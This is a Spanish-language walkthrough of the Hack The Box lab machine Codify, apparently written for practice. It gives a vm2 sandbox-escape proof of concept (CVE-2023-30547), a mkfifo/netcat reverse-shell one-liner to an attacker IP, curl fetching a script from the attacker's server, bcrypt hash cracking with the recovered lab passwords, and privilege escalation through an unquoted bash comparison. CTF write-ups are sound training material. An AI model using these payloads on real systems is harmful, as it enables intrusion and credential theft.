Introducción
Muestro como resolver la máquina Codify de la plataforma Hack the box.
Una vez conectados a través de OpenVPN a la plataforma HTB procedemos a crear nuestro espacio de trabajo.
Dirección IP
- Ip address: 10.10.11.239
Sistema operativo
Utilizamos la herramienta Ping para ver ante que tipo de máquina estamos.
ping -c 1 10.10.11.239
Como se puede ver tenemos un TTL cercano a 64, por lo que se deduce que estamos ante un equipo Linux.
Escaneo NMAP
Realizamos un escaneo de los 10000 primeros puertos con Nmap.
nmap -p1-10000 --open -Pn -n -T5 -vvv 10.10.11.239
- 1 => Puertos abiertos encontrados.
Versiones de los servicios que están corriendo en el equipo y scripts de reconocimiento
Realizamos un escaneo de los puertos abiertos encontrados para sacar que versión específica está corriendo en ellos. También aprovechamos y ejecutamos los scripts de reconocimiento que trae la herramienta Nmap.
nmap -p22,80,8000,8080 -sCV 10.10.11.239
- 22 => OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
- 80 => Apache httpd 2.4.52
- 8000 => SimpleHTTPServer 0.6 (Python 3.10.12)
- 8080 => http-proxy?
Agregamos el dominio al archivo /etc/hosts
Para agregar el dominio codify.htb al archivo /etc/hosts utilizamos el editor de texto nano.
nano /etc/hosts
Agregamos la dirección IP (10.10.11.239) de la máquina seguido del nombre del domino (codify.htb) separado por una tabulación.
Visualizar la web
Puerto 80
Información de interés
- 1 => About us
- 2 => Editor de código
- 3 => Limitaciones del editor
About us
Mirando la página About us se puede llegar a obtener el editor de código que están utilizando. En este caso Vm2.
Mirando información por internet veo que es vulnerable a un RCE (Remote Code Execution).
CVE 2023-30547
«El problema surge cuando el objeto prototipo es un proxy y hay un controlador proxy getPrototypeOf() presente. Esto puede lanzar una excepción host no sanitizada, que es capturada por la sentencia catch externa.
Esta vulnerabilidad surge cuando las excepciones del host pueden filtrarse en el sandbox. Esto puede ocurrir debido al manejo de CatchClause con ObjectPattern.
Para explotar esta vulnerabilidad, un atacante puede utilizar una técnica específica para lanzar una excepción del host, permitiéndoles escapar de la caja de arena y acceder a las funciones del host.
Esto afecta a las versiones de vm2 hasta la 3.9.16. Una explotación exitosa permite a los adversarios eludir la caja de arena y ejecutar código arbitrario.»
Explotación
Ejemplo de la explotación.
Enlace: https://gist.github.com/leesh3288/381b230b04936dd4d74aaf90cc8bb244
const {VM} = require("vm2");
const vm = new VM();
const code = `
err = {};
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};
const proxiedErr = new Proxy(err, handler);
try {
throw proxiedErr;
} catch ({constructor: c}) {
c.constructor('return process')().mainModule.require('child_process').execSync('touch pwned');
}
`
console.log(vm.run(code));
- 1 => Input del comando que queramos
- 2 => Respuesta del comando
Entablamos la Revershell
Generamos el oneliner mkfifo.
mkfifo': 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4433 >/tmp/f
Nos ponemos en escucha con netcat.
nc -lnvp 443
Ejecutamos > RUN
Tratamiento de la shell
script /dev/null -c bash
Ctrl + Z
stty raw -echo; fg
reset xterm
export TERM=xterm-256color
source /etc/skel/.bashrc
stty size # Devuelve numeroFilas y numeroColumnas
stty rows numerFilas columns numeroColumnas
Inspeccionamos la máquina
Listamos directorios y archivos ocultos de la ruta /var/www/.
ls -la
Mostramos el contenido del archivo tickets.db con el comando cat.
cat tickets.db
Mirando en su contenido vemos que tiene el hash del usuario joshua. Lo copiamos e intentamos romperlo.
Hash: $2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2
Hashes.com
Metemos el hash identificador de hashes online hashes.com y obtenemos que se trata de un hash de tipo bcrypt.
Rompiendo el hash con John the Ripper
john --format=bcrypt --wordlist=./rockyou.txt hash_joshua.txt
- Password: spongebob1
Conexión por ssh
ssh joshua@codify.htb
Obtenemos la primera flag.
Escalada de privilegios
Ejecutamos el comando sudo -l para ver si tenemos permisos de ejecución como usuario privilegiado en algún binario o script.
sudo -l
Podemos ver que tenemos permisos de root ejecutando el script de nombre mysql-backup.sh.
Por lo visto cuando en un script en bash no se pone la comparativa (==) entrecomillada (‘ ‘) se toma como una coincidencia en vez de como texto.
Por lo tanto, si utilizamos el carácter (*) podemos descubrir mediante fuerza bruta la contraseña completa.
Pasos
1 => Creamos el script en python que será el encargado de obtener la contraseña.
Una vez tenemos generado el script en nuestro equipo local montamos un servidor mediante python para poder acceder al recurso.
python -m http.server 80
Descargamos el archivo en la máquina víctima mediante curl.
curl -O http://10.0.0.1/break-pass.py
Ejecutamos el script.
Obtenemos la contraseña de root.
kljh12k3jhaskjh12kjh3
Obtenemos la flag de root
su root
Introducimos la contraseña y visualizamos la flag.